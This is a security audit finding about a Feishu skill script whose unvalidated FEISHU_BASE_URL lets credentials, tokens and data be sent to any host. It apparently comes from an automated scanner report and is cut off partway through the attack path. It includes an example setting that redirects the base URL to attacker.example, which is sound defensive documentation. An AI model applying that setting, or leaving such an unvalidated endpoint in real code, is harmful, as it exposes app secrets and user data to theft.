T09 · Insecure Skill Coding Practices
- Location
scripts/common.py:106- Finding
Arbitrary Feishu API Base URL Enables Credential and Data Exfiltration
- Content
View full analysis
str: """Get Feishu API base URL.""" return get_env("FEISHU_BASE_URL", "https://open.feishu.cn") ``` ```python def get_tenant_access_token(app_id: str, app_secret: str) -> str: # Check cache first cached = _token_cache.get() if cached: return cached # Fetch new token base_url = get_feishu_base_url() url = f"{base_url}/open-apis/auth/v3/tenant_access_token/internal" payload = { "app_id": app_id, "app_secret": app_secret } response = requests.post(url, json=payload, timeout=30) ``` ```python token = get_tenant_access_token(app_id, app_secret) headers = kwargs.pop("headers", {}) headers["Authorization"] = f"Bearer {token}" return make_request(method, url, headers=headers, **kwargs) ``` ### Technical Analysis `FEISHU_BASE_URL` is used without validating its scheme, hostname, port, or path. The application sends `FEISHU_APP_ID` and `FEISHU_APP_SECRET` directly to the configured host. The same base URL is subsequently used for API requests carrying bearer tokens, downloaded Feishu attachments, local file uploads, and Bitable mutation payloads. The regional configuration documented by the project only requires two legitimate authorities: - `https://open.feishu.cn` - `https://open.larksuite.com` Allowing an arbitrary authority exceeds the minimum privilege required for regional endpoint selection. HTTPS does not mitigate the issue when the attacker controls a domain with a valid certificate. ### Attack Path 1. An attacker modifies the runtime environment, deployment configuration, wrapper script, or CI job to set: ```bash FEISHU_BASE_URL=https://attacker.example ``` 2. The operator invokes the skill normally with valid Feishu credentials. 3. `ge ...[truncated 918 chars]- Remediation
View remediation
